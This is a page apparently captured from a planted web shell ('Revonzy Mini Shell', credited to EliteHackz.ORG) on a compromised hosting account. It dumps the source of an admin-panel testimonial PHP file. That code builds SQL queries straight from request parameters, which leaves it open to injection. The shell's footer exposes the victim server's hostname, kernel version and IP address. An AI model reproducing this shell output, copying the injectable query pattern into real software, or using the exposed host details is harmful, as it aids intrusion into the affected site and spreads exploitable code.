Revonzy Mini Shell

Şuanki Dizin: /home4/shrishtiarchitec/www/adminpanel/testimonial/
Dosya Yükle :
Şuanki Dosya : //home4/shrishtiarchitec/www/adminpanel/testimonial/testimonial_curd.php

<?php 
include('../../config.php'); 
require_once(PATH_LIBRARIES.'/classes/DBConn.php');
require_once(PATH_LIBRARIES.'/functions/fun1.php');
$db = new DBConn();

$pathmulti = ROOT."/image_upload/awards/";
$pathmulti1 = ROOT."/image_upload/awards/thumb/";

///*******************************************************
/// Validate that the data already exist or not
///*******************************************************
/*if($_POST['type']=="validate")
{

	$sql="SELECT Category_Name FROM category WHERE Category_Name='".$_POST['cate_name']."' and Category_Id<>'".$_REQUEST['id']."'";
	$res=$db->ExecuteQuery($sql);
		
	if(empty($res))
    {
 		echo 0;
    }
	else
	{
		echo 1;
	}

}*/

///*******************************************************
/// To Insert New category /////////////////////////////////
///*******************************************************
if($_POST['type']=="addTest")
{
		$tblfield=array('Client_Name','Review','H_Client_Name','H_Review','Status');
		$tblvalues=array($_POST['name'],$_POST['review'],$_POST['hname'],$_POST['hreview'],1);
		$res=$db->valInsert("testimonials",$tblfield,$tblvalues);
		if(empty($res))
		{
			//echo mysql_error();
			echo 0;
		}
		else
		{

			echo 1;
		}
		  
}

///*******************************************************
/// Edit Sub news
///*******************************************************
if($_POST['type']=="editTest")
{
	$con= mysql_connect(SERVER,DBUSER,DBPASSWORD);
	mysql_query('SET AUTOCOMMIT=0',$con);
	mysql_query('START TRANSACTION',$con);
	
	try
	{
	 	$tblfield=array('Client_Name','Review','H_Client_Name','H_Review','Status');
		$tblvalues=array($_POST['name'],$_POST['review'],$_POST['hname'],$_POST['hreview'],1);
		$condition="Test_Id=".$_POST['id'];
	    $res=$db->updateValue('testimonials',$tblfield,$tblvalues,$condition);
		if(!$res)
		{
			throw new Exception('0');
		}
     	
	
	   echo 1;
		mysql_query("COMMIT",$con);
			
	}
	catch(Exception $e)
	{
		echo  $e->getMessage();
		mysql_query('ROLLBACK',$con);
		mysql_query('SET AUTOCOMMIT=1',$con);
	}
}

///*******************************************************
/// Update Status
///*******************************************************
if($_POST['type']=="CheckStatus")
{
		$mysql=$db->ExecuteQuery("SELECT * FROM testimonials WHERE Test_Id='".$_REQUEST['id']."'");
		
		//Check Here Any Records IS Availble OR Not
		if(count($mysql)>0)
		{
			if($mysql[1]['Status']==1)
			{
				$status=0;
			}else
			{
				$status=1;
			
			}
			$tblfield=array('Status');
			$tblvalues=array($status);
			$condition="Test_Id=".$_POST['id'];
		    $res=$db->updateValue('testimonials',$tblfield,$tblvalues,$condition);
			if (empty($res))
			{
				//echo mysql_error();
				echo 0;
			}
			else
			{
				echo 1;
			}

		}
}


 ///*******************************************************
/// Delete row from testimonials table
///*******************************************************
if($_POST['type']=="delete")
{
	$con= mysql_connect(SERVER,DBUSER,DBPASSWORD);
	mysql_query('SET AUTOCOMMIT=0',$con);
	mysql_query('START TRANSACTION',$con);
	
	try
	{
	
		
			//Delete Row
			$tblname="testimonials";
			$condition="Test_Id=".$_POST['id'];
			$res=$db->deleteRecords($tblname,$condition);
			if(!$res)
			{
				throw new Exception('0');
			}
			 
	    echo 1;
		mysql_query("COMMIT",$con);
			
	}
	catch(Exception $e)
	{
		echo  $e->getMessage();
		mysql_query('ROLLBACK',$con);
		mysql_query('SET AUTOCOMMIT=1',$con);
	}
}

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux vps.suncrosonline.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Mon May 21 23:36:36 UTC 2018 x86_64
Apache
162.241.69.42